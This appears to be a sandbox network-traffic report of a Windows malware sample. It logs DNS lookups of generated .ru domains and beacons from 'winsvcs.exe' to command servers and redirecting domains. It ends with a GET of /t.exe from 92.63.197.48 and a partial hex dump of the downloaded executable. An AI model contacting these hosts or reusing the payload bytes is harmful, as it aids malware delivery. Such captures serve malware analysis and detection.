Oct 30, 2018 14:45:36.330229044 CET	8.8.8.8	192.168.1.81	0x4838	Name error (3)	iugouehoeohfh.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:36.850096941 CET	8.8.8.8	192.168.1.81	0xa37a	Name error (3)	iugouehoeohfh.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:38.088238955 CET	8.8.8.8	192.168.1.81	0x1ffb	Name error (3)	iugouehoeohfh.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:39.524084091 CET	8.8.8.8	192.168.1.81	0x3abd	Name error (3)	ugoheoheufefu.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:40.603209972 CET	8.8.8.8	192.168.1.81	0xe366	Name error (3)	ugoheoheufefu.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:42.533133984 CET	8.8.8.8	192.168.1.81	0xf17d	Name error (3)	ugoheoheufefu.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:42.555008888 CET	8.8.8.8	192.168.1.81	0xf17d	Name error (3)	ugoheoheufefu.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:43.277105093 CET	8.8.8.8	192.168.1.81	0x79e8	Name error (3)	ugoheoheufefu.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:44.057835102 CET	8.8.8.8	192.168.1.81	0x1b4b	Name error (3)	ugoheoheufefu.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:45.337249994 CET	8.8.8.8	192.168.1.81	0xa164	Name error (3)	iefigjgdidisi.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:46.294625044 CET	8.8.8.8	192.168.1.81	0x2608	Name error (3)	iefigjgdidisi.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:46.970144987 CET	8.8.8.8	192.168.1.81	0xe4db	Name error (3)	iefigjgdidisi.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:47.531246901 CET	8.8.8.8	192.168.1.81	0x1881	Name error (3)	iefigjgdidisi.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:48.067490101 CET	8.8.8.8	192.168.1.81	0x881f	Name error (3)	iefigjgdidisi.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:49.662877083 CET	8.8.8.8	192.168.1.81	0xcb7	Name error (3)	ouegouehouseh.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:50.472693920 CET	8.8.8.8	192.168.1.81	0x2f1e	Name error (3)	ouegouehouseh.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:51.067568064 CET	8.8.8.8	192.168.1.81	0xc8b	Name error (3)	ouegouehouseh.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:52.641609907 CET	8.8.8.8	192.168.1.81	0x8371	Name error (3)	ouegouehouseh.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:53.152689934 CET	8.8.8.8	192.168.1.81	0x8371	Name error (3)	ouegouehouseh.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:53.206887007 CET	8.8.8.8	192.168.1.81	0xf7bf	Name error (3)	ouegouehouseh.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:54.753889084 CET	8.8.8.8	192.168.1.81	0x79dc	Name error (3)	riifndisojdoj.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:55.377645969 CET	8.8.8.8	192.168.1.81	0x381e	Name error (3)	riifndisojdoj.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:57.017724037 CET	8.8.8.8	192.168.1.81	0x319a	Name error (3)	riifndisojdoj.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:57.556776047 CET	8.8.8.8	192.168.1.81	0x319a	Name error (3)	riifndisojdoj.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:57.597084045 CET	8.8.8.8	192.168.1.81	0xaaa4	Name error (3)	riifndisojdoj.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:58.098874092 CET	8.8.8.8	192.168.1.81	0xc776	Name error (3)	riifndisojdoj.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:59.114217997 CET	8.8.8.8	192.168.1.81	0x9551	Name error (3)	inigbiseijfji.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:46:00.634063959 CET	8.8.8.8	192.168.1.81	0xb5a8	Name error (3)	inigbiseijfji.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:46:00.754528046 CET	8.8.8.8	192.168.1.81	0xb5a8	Name error (3)	inigbiseijfji.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:46:01.259134054 CET	8.8.8.8	192.168.1.81	0xa2d0	Name error (3)	inigbiseijfji.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:46:01.787024975 CET	8.8.8.8	192.168.1.81	0x2793	Name error (3)	inigbiseijfji.ru	none	none	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

92.63.197.48

riifndisojdoj.in

sso.anbtr.com

xsso.riifndisojdoj.in

ouegouehouseh.net

xsso.ouegouehouseh.net

riifndisojdoj.net

xsso.riifndisojdoj.net

udunfjgussiid.net

xsso.udunfjgussiid.net

udunfjgussiid.com

xsso.udunfjgussiid.com

iriototooeuwo.biz

xsso.iriototooeuwo.biz

ugoheoheufefu.info

xsso.ugoheoheufefu.info

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.1.81	49253	92.63.197.48	80	C:\Windows\T-495050303005030\winsvcs.exe

Timestamp	kBytes transferred	Direction	Data
Oct 30, 2018 14:43:59.838200092 CET	7	OUT	GET /t.php?new=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0 Host: 92.63.197.48
Oct 30, 2018 14:43:59.924330950 CET	7	IN	HTTP/1.1 200 OK Server: nginx/1.4.6 (Ubuntu) Date: Tue, 30 Oct 2018 13:43:59 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.5.9-1ubuntu4.26 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.1.81	50517	195.22.26.248	80	C:\Windows\T-495050303005030\winsvcs.exe

Timestamp	kBytes transferred	Direction	Data
Oct 30, 2018 14:44:40.898180008 CET	197	OUT	GET /t.php?new=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0 Host: riifndisojdoj.in
Oct 30, 2018 14:44:40.955569983 CET	198	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Tue, 30 Oct 2018 13:44:41 GMT Content-Type: text/html Connection: close Location: http://sso.anbtr.com/domain/riifndisojdoj.in Set-Cookie: btst=8fd16088d64210ecf9e7e8ce32ef8050\|185.32.222.104\|1540907081\|1540907081\|0\|1\|0; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.1.81	50798	195.22.26.248	80	C:\Windows\T-495050303005030\winsvcs.exe

Timestamp	kBytes transferred	Direction	Data
Oct 30, 2018 14:44:49.492280006 CET	253	OUT	GET /t.php?new=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0 Host: udunfjgussiid.net
Oct 30, 2018 14:44:49.545066118 CET	253	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Tue, 30 Oct 2018 13:44:49 GMT Content-Type: text/html Connection: close Location: http://sso.anbtr.com/domain/udunfjgussiid.net Set-Cookie: btst=4fcca118eeb650ec3780037649e6b221\|185.32.222.104\|1540907089\|1540907089\|0\|1\|0; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.1.81	50803	195.22.28.222	80	C:\Windows\T-495050303005030\winsvcs.exe

Timestamp	kBytes transferred	Direction	Data
Oct 30, 2018 14:44:49.604929924 CET	254	OUT	GET /domain/udunfjgussiid.net HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0 Host: sso.anbtr.com Connection: Keep-Alive
Oct 30, 2018 14:44:49.658832073 CET	255	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Tue, 30 Oct 2018 13:44:49 GMT Content-Type: text/html Connection: close Set-Cookie: anbtr=23fbb3b1712c0a08e405ce8c9a1ed39d; domain=.udunfjgussiid.net; path=/ Location: http://xsso.udunfjgussiid.net/23fbb3b1712c0a08e405ce8c9a1ed39d Data Raw: 47 6f 20 68 74 74 70 3a 2f 2f 78 73 73 6f 2e 75 64 75 6e 66 6a 67 75 73 73 69 69 64 2e 6e 65 74 2f 32 33 66 62 62 33 62 31 37 31 32 63 30 61 30 38 65 34 30 35 63 65 38 63 39 61 31 65 64 33 39 64 Data Ascii: Go http://xsso.udunfjgussiid.net/23fbb3b1712c0a08e405ce8c9a1ed39d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.1.81	50813	195.22.26.248	80	C:\Windows\T-495050303005030\winsvcs.exe

Timestamp	kBytes transferred	Direction	Data
Oct 30, 2018 14:44:49.879326105 CET	257	OUT	GET /23fbb3b1712c0a08e405ce8c9a1ed39d HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0 Cookie: btst=4fcca118eeb650ec3780037649e6b221\|185.32.222.104\|1540907089\|1540907089\|0\|1\|0 Connection: Keep-Alive Host: xsso.udunfjgussiid.net
Oct 30, 2018 14:44:49.932533026 CET	257	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 30 Oct 2018 13:44:50 GMT Content-Type: text/html Connection: close Set-Cookie: anbtr=23fbb3b1712c0a08e405ce8c9a1ed39d; domain=.udunfjgussiid.net; path=/

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.1.81	50991	195.22.26.248	80	C:\Windows\T-495050303005030\winsvcs.exe

Timestamp	kBytes transferred	Direction	Data
Oct 30, 2018 14:44:55.622570992 CET	287	OUT	GET /t.php?new=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0 Host: udunfjgussiid.com
Oct 30, 2018 14:44:55.676042080 CET	287	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Tue, 30 Oct 2018 13:44:55 GMT Content-Type: text/html Connection: close Location: http://sso.anbtr.com/domain/udunfjgussiid.com Set-Cookie: btst=f6e869a1bef4d08e4430d92714bc2711\|185.32.222.104\|1540907095\|1540907095\|0\|1\|0; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.1.81	50997	195.22.28.222	80	C:\Windows\T-495050303005030\winsvcs.exe

Timestamp	kBytes transferred	Direction	Data
Oct 30, 2018 14:44:55.738718987 CET	288	OUT	GET /domain/udunfjgussiid.com HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0 Host: sso.anbtr.com Connection: Keep-Alive
Oct 30, 2018 14:44:55.791785955 CET	289	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Tue, 30 Oct 2018 13:44:56 GMT Content-Type: text/html Connection: close Set-Cookie: anbtr=cbec3c80bef3cfa0da44de66ebecfeaf; domain=.udunfjgussiid.com; path=/ Location: http://xsso.udunfjgussiid.com/cbec3c80bef3cfa0da44de66ebecfeaf Data Raw: 47 6f 20 68 74 74 70 3a 2f 2f 78 73 73 6f 2e 75 64 75 6e 66 6a 67 75 73 73 69 69 64 2e 63 6f 6d 2f 63 62 65 63 33 63 38 30 62 65 66 33 63 66 61 30 64 61 34 34 64 65 36 36 65 62 65 63 66 65 61 66 Data Ascii: Go http://xsso.udunfjgussiid.com/cbec3c80bef3cfa0da44de66ebecfeaf

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.1.81	51005	195.22.26.248	80	C:\Windows\T-495050303005030\winsvcs.exe

Timestamp	kBytes transferred	Direction	Data
Oct 30, 2018 14:44:55.985780954 CET	291	OUT	GET /cbec3c80bef3cfa0da44de66ebecfeaf HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0 Cookie: btst=f6e869a1bef4d08e4430d92714bc2711\|185.32.222.104\|1540907095\|1540907095\|0\|1\|0 Connection: Keep-Alive Host: xsso.udunfjgussiid.com
Oct 30, 2018 14:44:56.039002895 CET	291	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 30 Oct 2018 13:44:56 GMT Content-Type: text/html Connection: close Set-Cookie: anbtr=cbec3c80bef3cfa0da44de66ebecfeaf; domain=.udunfjgussiid.com; path=/

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.1.81	51235	195.22.26.248	80	C:\Windows\T-495050303005030\winsvcs.exe

Timestamp	kBytes transferred	Direction	Data
Oct 30, 2018 14:45:02.840859890 CET	332	OUT	GET /t.php?new=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0 Host: iriototooeuwo.biz
Oct 30, 2018 14:45:02.896883011 CET	333	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Tue, 30 Oct 2018 13:45:03 GMT Content-Type: text/html Connection: close Location: http://sso.anbtr.com/domain/iriototooeuwo.biz Set-Cookie: btst=ee88da31fd316b2b05ced404aa59066f\|185.32.222.104\|1540907103\|1540907103\|0\|1\|0; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.1.81	51241	195.22.28.222	80	C:\Windows\T-495050303005030\winsvcs.exe

Timestamp	kBytes transferred	Direction	Data
Oct 30, 2018 14:45:02.961992025 CET	334	OUT	GET /domain/iriototooeuwo.biz HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0 Host: sso.anbtr.com Connection: Keep-Alive
Oct 30, 2018 14:45:03.014347076 CET	335	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Tue, 30 Oct 2018 13:45:03 GMT Content-Type: text/html Connection: close Set-Cookie: anbtr=28795e09a02dba8a0eed7077c02eadc6; domain=.iriototooeuwo.biz; path=/ Location: http://xsso.iriototooeuwo.biz/28795e09a02dba8a0eed7077c02eadc6 Data Raw: 47 6f 20 68 74 74 70 3a 2f 2f 78 73 73 6f 2e 69 72 69 6f 74 6f 74 6f 6f 65 75 77 6f 2e 62 69 7a 2f 32 38 37 39 35 65 30 39 61 30 32 64 62 61 38 61 30 65 65 64 37 30 37 37 63 30 32 65 61 64 63 36 Data Ascii: Go http://xsso.iriototooeuwo.biz/28795e09a02dba8a0eed7077c02eadc6

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.1.81	51251	195.22.26.248	80	C:\Windows\T-495050303005030\winsvcs.exe

Timestamp	kBytes transferred	Direction	Data
Oct 30, 2018 14:45:03.202328920 CET	337	OUT	GET /28795e09a02dba8a0eed7077c02eadc6 HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0 Cookie: btst=ee88da31fd316b2b05ced404aa59066f\|185.32.222.104\|1540907103\|1540907103\|0\|1\|0 Connection: Keep-Alive Host: xsso.iriototooeuwo.biz
Oct 30, 2018 14:45:03.256489038 CET	338	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 30 Oct 2018 13:45:03 GMT Content-Type: text/html Connection: close Set-Cookie: anbtr=28795e09a02dba8a0eed7077c02eadc6; domain=.iriototooeuwo.biz; path=/

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.1.81	51309	195.22.26.248	80	C:\Windows\T-495050303005030\winsvcs.exe

Timestamp	kBytes transferred	Direction	Data
Oct 30, 2018 14:45:05.044806957 CET	349	OUT	GET /t.php?new=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0 Host: ugoheoheufefu.info
Oct 30, 2018 14:45:05.108258963 CET	350	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Tue, 30 Oct 2018 13:45:05 GMT Content-Type: text/html Connection: close Location: http://sso.anbtr.com/domain/ugoheoheufefu.info Set-Cookie: btst=e0d8b47f1aa0201c729a3eabfab6dcf5\|185.32.222.104\|1540907105\|1540907105\|0\|1\|0; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.1.81	50523	195.22.28.222	80	C:\Windows\T-495050303005030\winsvcs.exe

Timestamp	kBytes transferred	Direction	Data
Oct 30, 2018 14:44:41.071522951 CET	199	OUT	GET /domain/riifndisojdoj.in HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0 Host: sso.anbtr.com Connection: Keep-Alive
Oct 30, 2018 14:44:41.125904083 CET	200	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Tue, 30 Oct 2018 13:44:41 GMT Content-Type: text/html Connection: close Set-Cookie: anbtr=92faf1775bd83fdf3a3b1380bb93130b; domain=.riifndisojdoj.in; path=/ Location: http://xsso.riifndisojdoj.in/92faf1775bd83fdf3a3b1380bb93130b Data Raw: 47 6f 20 68 74 74 70 3a 2f 2f 78 73 73 6f 2e 72 69 69 66 6e 64 69 73 6f 6a 64 6f 6a 2e 69 6e 2f 39 32 66 61 66 31 37 37 35 62 64 38 33 66 64 66 33 61 33 62 31 33 38 30 62 62 39 33 31 33 30 62 Data Ascii: Go http://xsso.riifndisojdoj.in/92faf1775bd83fdf3a3b1380bb93130b

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.1.81	51314	195.22.28.222	80	C:\Windows\T-495050303005030\winsvcs.exe

Timestamp	kBytes transferred	Direction	Data
Oct 30, 2018 14:45:05.169991970 CET	351	OUT	GET /domain/ugoheoheufefu.info HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0 Host: sso.anbtr.com Connection: Keep-Alive
Oct 30, 2018 14:45:05.222444057 CET	351	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Tue, 30 Oct 2018 13:45:05 GMT Content-Type: text/html Connection: close Set-Cookie: anbtr=4718bb30fd56711dfeae398545aa0e29; domain=.ugoheoheufefu.info; path=/ Location: http://xsso.ugoheoheufefu.info/4718bb30fd56711dfeae398545aa0e29 Data Raw: 47 6f 20 68 74 74 70 3a 2f 2f 78 73 73 6f 2e 75 67 6f 68 65 6f 68 65 75 66 65 66 75 2e 69 6e 66 6f 2f 34 37 31 38 62 62 33 30 66 64 35 36 37 31 31 64 66 65 61 65 33 39 38 35 34 35 61 61 30 65 32 39 Data Ascii: Go http://xsso.ugoheoheufefu.info/4718bb30fd56711dfeae398545aa0e29

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.1.81	51321	195.22.26.248	80	C:\Windows\T-495050303005030\winsvcs.exe

Timestamp	kBytes transferred	Direction	Data
Oct 30, 2018 14:45:05.424283028 CET	353	OUT	GET /4718bb30fd56711dfeae398545aa0e29 HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0 Cookie: btst=e0d8b47f1aa0201c729a3eabfab6dcf5\|185.32.222.104\|1540907105\|1540907105\|0\|1\|0 Connection: Keep-Alive Host: xsso.ugoheoheufefu.info
Oct 30, 2018 14:45:05.484071970 CET	354	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 30 Oct 2018 13:45:05 GMT Content-Type: text/html Connection: close Set-Cookie: anbtr=4718bb30fd56711dfeae398545aa0e29; domain=.ugoheoheufefu.info; path=/

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.1.81	51525	92.63.197.48	80	C:\Windows\T-495050303005030\winsvcs.exe

Timestamp	kBytes transferred	Direction	Data
Oct 30, 2018 14:45:11.931699038 CET	386	OUT	GET /t.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0 Host: 92.63.197.48
Oct 30, 2018 14:45:11.986928940 CET	387	IN	HTTP/1.1 200 OK Server: nginx/1.4.6 (Ubuntu) Date: Tue, 30 Oct 2018 13:45:12 GMT Content-Type: application/octet-stream Content-Length: 163328 Last-Modified: Tue, 30 Oct 2018 13:06:17 GMT Connection: keep-alive ETag: "5bd85749-27e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 16 e9 9b 5a 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0c 00 00 f6 00 00 00 a4 01 00 00 00 00 00 10 57 00 00 00 10 00 00 00 10 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 02 00 00 04 00 00 4e a6 02 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 fc 6e 01 00 64 00 00 00 00 30 02 00 88 92 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 02 00 0c 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 65 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 60 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 50 f5 00 00 00 10 00 00 00 f6 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 ee 66 00 00 00 10 01 00 00 68 00 00 00 fa 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 e0 a0 00 00 00 80 01 00 00 74 00 00 00 62 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 88 92 00 00 00 30 02 00 00 94 00 00 00 d6 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 12 00 00 00 d0 02 00 00 14 00 00 00 6a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELZW@Nnd0Pe@`.textP `.rdatafh@@.datatb@.rsrc0@@.relocj@B
Oct 30, 2018 14:45:11.986984968 CET	389	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ARh2A4Y$ANh<A4Y(AJhFA4Yj,A_j0ARj4AEj8A8D$3twP2Yu
Oct 30, 2018 14:45:11.987035036 CET	390	IN	Data Raw: 00 00 03 47 10 3b 44 24 08 76 04 b0 01 eb 02 32 c0 5f c2 04 00 83 79 14 10 72 0a ff 31 e8 26 fc ff ff 59 8b c8 8b c1 c3 83 79 14 10 72 0a ff 31 e8 13 fc ff ff 59 8b c8 8b c1 c3 55 8b ec 80 7d 08 00 56 8b f1 74 3c 83 7e 14 10 72 36 83 7d 0c 00 53 Data Ascii: G;D$v2_yr1&Yyr1YU}Vt<~r6}SvuSYPVuF@PSEPn[uF^]hA-h(A-jt$eYYUSVMW~];rhMo+9}B};u
Oct 30, 2018 14:45:11.987096071 CET	391	IN	Data Raw: 89 44 24 18 8b 41 04 89 44 24 14 8b 41 08 89 44 24 10 8b 41 0c 89 44 24 28 6a 00 ff 15 40 10 41 00 ff 15 14 10 41 00 6a 00 ff 15 18 10 41 00 83 fe 64 76 16 ff 74 24 24 33 c0 50 50 50 50 50 50 50 50 50 50 ff 15 38 11 41 00 ff 74 24 28 55 ff 74 24 Data Ascii: D$AD$AD$AD$(j@AAjAdvt$$3PPPPPPPPPP8At$(Ut$SV+jjHAL$D$3/3D$+jY+F rt$$~_^][D$V0tW\|$t$WYYNu_^A3$UVD$Xz@D
Oct 30, 2018 14:45:11.987128973 CET	392	IN	Data Raw: 6c 24 34 da 43 73 77 81 6c 24 34 57 57 12 5f 8d 84 24 a8 07 00 00 50 ff d6 81 6c 24 20 25 bb 63 6b 81 44 24 24 67 5d 07 78 8d 84 24 a8 03 00 00 50 ff d6 81 44 24 20 90 fe af 15 81 44 24 24 a5 dc ca 52 81 6c 24 20 de 22 11 58 8d 84 24 78 0b 00 00 Data Ascii: l$4Cswl$4WW_$Pl$ %ckD$$g]x$PD$ D$$Rl$ "X$xPl$&$PD$ _}D$\y%]$P$Pl$\|/$Pl$QjVD$GB$P$Pl$$_l$$Ip$(Pl$0jl$\GwyD$ 8
Oct 30, 2018 14:45:11.987159014 CET	394	IN	Data Raw: 81 44 24 64 c9 0b 35 69 81 ac 24 88 00 00 00 f5 ac be 62 8d 84 24 88 06 00 00 50 ff d6 8d 84 24 28 09 00 00 50 ff d6 81 ac 24 94 00 00 00 f5 d7 de 7c 81 ac 24 94 00 00 00 f1 60 3b 46 81 ac 24 1c 01 00 00 74 cc 2a 06 8d 84 24 a8 06 00 00 50 ff d6 Data Ascii: D$d5i$b$P$(P$\|$`;F$t$P$x`;-$hP$P$^E$\Hl$dE@l$TB$HPl$`$l$ $P8u$P$l$4D$T3D$D<R$<y$X$P
Oct 30, 2018 14:45:11.987189054 CET	395	IN	Data Raw: 24 60 5c 1b 72 30 81 ac 24 9c 00 00 00 54 c7 b9 5e 81 6c 24 34 a9 41 1f 52 81 6c 24 60 7e 16 f3 03 8d 84 24 78 06 00 00 50 ff d6 81 44 24 60 85 0c df 0a 81 ac 24 bc 00 00 00 60 0d 7b 10 8d 84 24 98 06 00 00 50 ff d6 81 84 24 f8 01 00 00 b9 f2 db Data Ascii: $`\r0$T^l$4ARl$`~$xPD$`$`{$P$$l$D-s9^$ID6$LTD$\`_$<IB$P$6$>r$P$P$P$`D$4@vD$,D6$8P$_2
